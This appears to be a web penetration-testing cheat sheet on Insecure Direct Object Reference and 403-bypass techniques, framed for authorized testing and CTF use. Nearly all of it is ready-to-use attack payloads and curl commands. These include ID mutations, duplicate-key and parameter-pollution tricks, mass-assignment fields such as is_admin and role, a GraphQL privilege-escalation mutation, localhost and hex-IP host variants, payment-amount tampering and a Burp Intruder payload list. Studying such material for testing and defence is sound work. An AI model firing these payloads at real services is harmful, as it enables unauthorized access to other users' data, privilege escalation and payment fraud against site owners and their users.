IDOR & 403 Bypass

Insecure Direct Object Reference and 403 Forbidden bypass techniques

22 Steps
85 Commands

This document is for authorized security testing and CTF use only. Do not use on systems you do not have permission to test.

Pro Tips

  • Always obtain proper authorization before testing
  • Use on systems you have explicit permission to test
  • Keep detailed logs of all testing activities

Follow this methodology for effective IDOR and 403 bypass testing.

Commands & Payloads

1Step 1 - Establish baseline
Record a baseline: HTTP status, content-length, and response body for a legitimate request
2Step 2 - Test mutations
Test one mutation at a time and observe differences
3Step 3 - Automate testing
Use Burp, replay tools, Intruder, or automation scripts to rapidly iterate permutations

Pro Tips

  • Always record baseline before making changes
  • Compare HTTP status, content-length, and response body
  • Use diff tools to identify subtle differences

Try simple changes to the ID field inside JSON, forms, or query string.

Commands & Payloads

1Basic numeric ID
{"user":{"id":123}}
2String ID
{"user":{"id":"123"}}
3Leading zero
{"user":{"id":"0123"}}
4Spaces inside
{"user":{"id": 123 }}
5Max integer value
{"user":{"id":9223372036854775807}}
6Negative ID
{"user":{"id":-123}}

Pro Tips

  • Watch for HTTP status changes
  • Compare content-length differences
  • Look for body diffs in responses

Send the same parameter in multiple places or duplicate keys inside JSON.

Commands & Payloads

1Query vs body conflict
GET /endpoint?user[id]=123 (with JSON body user[id]=456)
2Duplicate keys in JSON
{"user":{"id":123}, "user":{"id":456}}
3Nested duplicate keys
{"user":{"id":123}, "data":{"user":{"id":456}}}

Pro Tips

  • Auth layer may read one instance while read layer reads another
  • Test all permutations of duplicate parameters
  • Use Burp Intruder for bulk testing

Try alternative field names that may map to the same backend field.

Commands & Payloads

1Standard field
{"user":{"id":123}}
2user_id alternative
{"user":{"user_id":123}}
3customer_id alternative
{"user":{"customer_id":123}}
4actor_id field
{"actor_id":123}
5owner field
{"owner":123}

Pro Tips

  • Backend may use different field names for the same data
  • Check API documentation for field mappings
  • Test all possible field variations

Change the Content-Type header and send the same structure in different formats.

Commands & Payloads

1JSON format
curl -X POST -H "Content-Type: application/json" -d '{"user":{"id":123}}' https://target.com/endpoint
2Form URL encoded
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user[id]=123" https://target.com/endpoint
3Multipart form data
curl -X POST -H "Content-Type: multipart/form-data" -d '{"user":{"id":123}}' https://target.com/endpoint

Pro Tips

  • Different parsers may handle data differently
  • Test all Content-Type variations
  • Look for parsing differentials

Encoding may make the value interpreted differently or bypass filters.

Commands & Payloads

1Percent encoded IDs
URL encode: /users/%31%32%33
2Double percent encoding
Double encode: %2531%2532%2533
3Base64 encoded value
Base64 wrapper: {"id":"MTIz"}
4Percent encoded JSON
Percent-encoded inside JSON: {"id":"%31%32%33"}

Pro Tips

  • Test various encoding methods
  • Backend may decode differently than expected
  • Try multiple encoding layers

Insert zero-width characters or lookalike digits to confuse string checks.

Commands & Payloads

1Zero-width space injection
{"user":{"id":"123"}} # zero-width space
2Arabic-Indic digits
{"user":{"id":"١٢٣"}}
3Mixed digits
{"user":{"id":"Ù¡23"}}

Pro Tips

  • Unicode characters may bypass validation
  • Test homoglyphs for common letters
  • Use online tools to generate homoglyphs

Try large integers, negatives, and scientific notation.

Commands & Payloads

1Maximum integer
{"user":{"id":9223372036854775807}}
2Negative ID
{"user":{"id":-1}}
3Scientific notation
{"user":{"id":4.03e2}}
4String number
{"user":{"id":"403"}}

Pro Tips

  • Type coercion may cause unexpected behavior
  • Try boundary values
  • Test for integer overflow scenarios

Send conflicting IDs in the URL path and request body.

Commands & Payloads

1Path vs body conflict
GET /users/123 (body: {"user":{"id":456}})
2Order ID mismatch
POST /orders/999 (body: {"order":{"id":1000}})

Pro Tips

  • One value may be used for auth, another for retrieval
  • Test URL path parameters separately from body
  • Check if both are validated

Target ORM binding by sending additional properties or nested objects.

Commands & Payloads

1Admin privilege escalation
{"user":{"id":123, "is_admin":true}}
2Nested owner mapping
{"user":{"id":123, "profile":{"owner_id":456}}}
3Role attribute injection
{"user":{"id":123, "attributes":{"role":"admin"}}}

Pro Tips

  • Backend may bind arbitrary fields into DB model
  • Look for is_admin, role, or permission fields
  • Test with common privilege escalation fields

Change inner references inside arrays or nested objects.

Commands & Payloads

1Nested reference
{"id":123, "references":[{"id":456}]}
2Modified reference
-> {"id":123, "references":[{"id":789}]}

Pro Tips

  • Ownership checks may not traverse nested references
  • Test arrays and nested objects
  • Check each level of nesting

If the endpoint accepts JSON queries, try varying IDs within the query field.

Commands & Payloads

1Basic GraphQL query
{ "query": "{ user(id:123) { name } }" }
2Different user ID
{ "query": "{ user(id:456) { name } }" }
3Privilege escalation mutation
{ "query": "mutation { updateUser(id:123, isAdmin:true) { id } }" }

Pro Tips

  • Observe differences between resolvers
  • Check field-level authorization
  • Test both queries and mutations

Send concurrent requests to exploit Time-of-Check-Time-of-Use vulnerabilities.

Commands & Payloads

1Step 1 - Modify resource
1. POST to change resourceA ownership
2Step 2 - Access with changed ID
2. Immediately GET resourceA using manipulated ID

Pro Tips

  • Use concurrency tools or scripts
  • Try to trigger race windows
  • Test with different timing intervals

Send empty JSON or omit fields to test validators and error handling.

Commands & Payloads

1Empty JSON
{}
2Empty user object
{"user":{}}
3Null ID value
{"id":null}

Pro Tips

  • Test how application handles empty data
  • Check for null pointer issues
  • Observe error message differences

Insert spaces, newlines, or padding inside values.

Commands & Payloads

1Trailing space
{"id":"123 "}
2Surrounded by spaces
{"id":" 123 "}
3Newline injection
{"id":"123\n"}

Pro Tips

  • Whitespace may bypass string validation
  • Test for trimming issues
  • Check if whitespace is stripped

Test email subaddressing for bypass or routing manipulation.

Commands & Payloads

1Plus tagging
user+tag@example.com
2URL encoded plus
user%2Btag@example.com

Pro Tips

  • Email routing may be affected by plus tags
  • Some apps validate email differently
  • Test for account takeover possibilities

Use localhost, IP variations, or domain mutations to test hostname validation.

Commands & Payloads

1Localhost
localhost
2Loopback IP
127.0.0.1
3Dot prefix subdomain
.example.com
4Hex IP encoding
0x7f000001

Pro Tips

  • Test hostname validation logic
  • Look for DNS rebinding issues
  • Try various IP representations

Amount manipulation techniques for payment bypass.

Commands & Payloads

1Numeric amount
{"amount":403}
2String amount
{"amount":"403"}
3Scientific notation
{"amount":4.03e2}
4Negative amount
{"amount":-403}
5Currency unit confusion
{"amount":40300, "currency":"cents"}
6Product ID manipulation
{"amount":403, "productId":456}

Pro Tips

  • Check if server recalculates price from productId
  • Test for currency conversion issues
  • Look for integer overflow in amounts

Copy these payloads for Burp Intruder or wfuzz testing.

Commands & Payloads

1Basic number
123
2Quoted number
"123"
3Leading zeros
0123
4Max integer
9223372036854775807
5Negative
-1
6Scientific notation
4.03e2
7Base64 encoded
MTIz
8Percent encoded
%31%32%33
9Double percent encoded
%2531%2532%2533
10JSON object
{"id":123}
11Nested JSON
{"user":{"id":123}}
12Form encoded
user[id]=123
13Duplicate keys
{"user":{"id":123}, "user":{"id":456}}
14Alternative field
{"user":{"user_id":123}}
15Privilege escalation
{"user":{"id":123, "is_admin":true}}

Pro Tips

  • Use as {{PAYLOAD}} in Burp Intruder
  • Replace ID values in requests
  • Test each payload systematically

Ready-to-use curl commands for testing.

Commands & Payloads

1JSON POST
curl -X POST -H "Content-Type: application/json" -d '{"user":{"id":123}}' https://target.com/endpoint
2Form URL encoded
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user[id]=123" https://target.com/endpoint
3Query vs body
curl -X POST 'https://target.com/endpoint?user[id]=123' -H 'Content-Type: application/json' -d '{"user":{"id":456}}'
4With whitespace
curl -X POST -H 'Content-Type: application/json' -d '$'{"user":{"id":"123"}}' https://target.com/endpoint

Pro Tips

  • Modify URLs and payloads for your target
  • Add authentication headers as needed
  • Use -v flag for verbose output

Follow this skeptical approach for comprehensive testing.

Commands & Payloads

1Step 1 - Record baseline
Capture baseline (status, length, body)
2Step 2 - Test individually
Change one variable at a time
3Step 3 - Analyze differences
Compare diffs using diff, jq -C, or automated tools
4Step 4 - Test combinations
Try combined permutations
5Step 5 - Document results
Keep detailed logs of every attempt

Pro Tips

  • Always test systematically
  • Document every test and result
  • Use automation for large payload sets

For educational and authorized testing purposes only.